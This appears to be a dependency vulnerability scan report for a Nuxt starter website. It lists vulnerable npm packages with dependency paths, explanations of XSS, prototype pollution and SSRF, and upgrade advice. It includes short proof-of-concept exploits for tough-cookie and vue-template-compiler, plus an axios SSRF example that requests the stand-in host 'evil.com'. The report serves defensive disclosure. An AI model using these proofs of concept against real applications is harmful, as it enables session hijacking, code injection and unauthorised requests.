Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for node-sass.

References

Out-of-Bounds vulnerability report

medium severity

Out-of-bounds Read

  • Vulnerable module: node-sass
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-bounds Read. The function handle_error in sass_context.cpp allows attackers to cause a denial-of-service resulting from a heap-based buffer over-read via a crafted sass file. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for node-sass.

References

Out-of-bounds Read vulnerability report

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: request
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › request@2.88.2
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2

Overview

request is a simplified http request client.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.

Remediation

A fix was pushed into the master branch but not yet published.

References

Server-side Request Forgery (SSRF) vulnerability report

medium severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: tar
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to node-sass@5.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.

Remediation

Upgrade tar to version 6.2.1 or higher.

References

Uncontrolled Resource Consumption ('Resource Exhaustion') vulnerability report

medium severity

Prototype Pollution

  • Vulnerable module: tough-cookie
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › request@2.88.2 › tough-cookie@2.5.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › tough-cookie@2.5.0

Overview

tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.

PoC

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade tough-cookie to version 4.1.3 or higher.

References

Prototype Pollution vulnerability report

medium severity

Prototype Pollution

  • Vulnerable module: json5
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-core@6.26.3 › json5@0.5.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › json5@0.5.1
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-core@6.26.3 › json5@0.5.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › html-webpack-plugin@2.30.1 › loader-utils@0.2.17 › json5@0.5.1
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › json5@0.5.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › html-webpack-plugin@2.30.1 › loader-utils@0.2.17 › json5@0.5.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

…and 3 more

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the parse method , which does not restrict parsing of keys named __proto__, allowing specially crafted strings to pollute the prototype of the resulting object. This pollutes the prototype of the object returned by JSON5.parse and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade json5 to version 1.0.2, 2.2.2 or higher.

References

Prototype Pollution vulnerability report

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: cookie
  • Introduced through: nuxt@1.4.5, express-mysql-session@1.3.0 and others

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › @nuxtjs/youch@4.2.3 › cookie@0.3.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › express-mysql-session@1.3.0 › express-session@1.15.6 › cookie@0.3.1
    Remediation: Upgrade to express-mysql-session@3.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › @nuxtjs/youch@4.2.3 › cookie@0.3.1

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie name, path, or domain, which can be used to set unexpected values to other cookie fields.

Workaround

Users who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade cookie to version 0.7.0 or higher.

References

Cross-site Scripting (XSS) vulnerability report

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: vue-template-compiler
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › vue-template-compiler@2.7.16
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › vue-template-compiler@2.7.16

Overview

vue-template-compiler is a template compiler for Vue 2.0

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) through the manipulation of object properties such as Object.prototype.staticClass or Object.prototype.staticStyle. An attacker can execute arbitrary JavaScript code by altering the prototype chain of these properties.

Note: This vulnerability is not present in Vue 3.

PoC

<head>
  <script>
    window.Proxy = undefined // Not necessary, but helpfull in demonstrating breaking out into `window.alert`
    Object.prototype.staticClass = `alert("Polluted")`
  </script>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.js"></script>
</head>

<body>
  <div id="app"></div>
  <script>
    new window.Vue({
      template: `<div class="">Content</div>`,
    }).$mount('#app')
  </script>
</body>

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

A fix was pushed into the master branch but not yet published.

References

Cross-site Scripting (XSS) vulnerability report

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: webpack-bundle-analyzer
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack-bundle-analyzer@2.13.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack-bundle-analyzer@2.13.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

webpack-bundle-analyzer is a package that can be used to create visual size of webpack output files with an interactive zoomable treemap.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to the usage of the JSON.stringify method which accepts server-rendered HTML and returns it as part of the chartData(),enableWebSocket() or defaultSizes() function.

Details

Remediation

Upgrade webpack-bundle-analyzer to version 3.3.2 or higher.

References

Cross-site Scripting (XSS) vulnerability report

medium severity
new

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.16.2 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › axios@0.16.2
    Remediation: Upgrade to axios@0.30.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › axios@0.16.2

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.

PoC

const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');

Remediation

Upgrade axios to version 0.30.0, 1.8.2 or higher.

References

Server-side Request Forgery (SSRF) vulnerability report

medium severity
new

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.16.2 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › axios@0.16.2
    Remediation: Upgrade to axios@0.30.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › axios@0.16.2

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.

Remediation

Upgrade axios to version 0.30.0, 1.8.3 or higher.

References

Server-side Request Forgery (SSRF) vulnerability report

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: nuxt@1.4.5, node-sass@4.14.1 and others

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › style-resources-loader@1.5.0 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › node-gyp@3.8.0 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › sass-graph@2.2.5 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › true-case-path@1.0.3 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › style-resources-loader@1.5.0 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › node-gyp@3.8.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › cacache@10.0.4 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › gaze@1.1.3 › globule@1.3.4 › glob@7.1.7 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › cacache@10.0.4 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › node-gyp@3.8.0 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › cacache@10.0.4 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › cacache@10.0.4 › move-concurrently@1.0.1 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › cacache@10.0.4 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
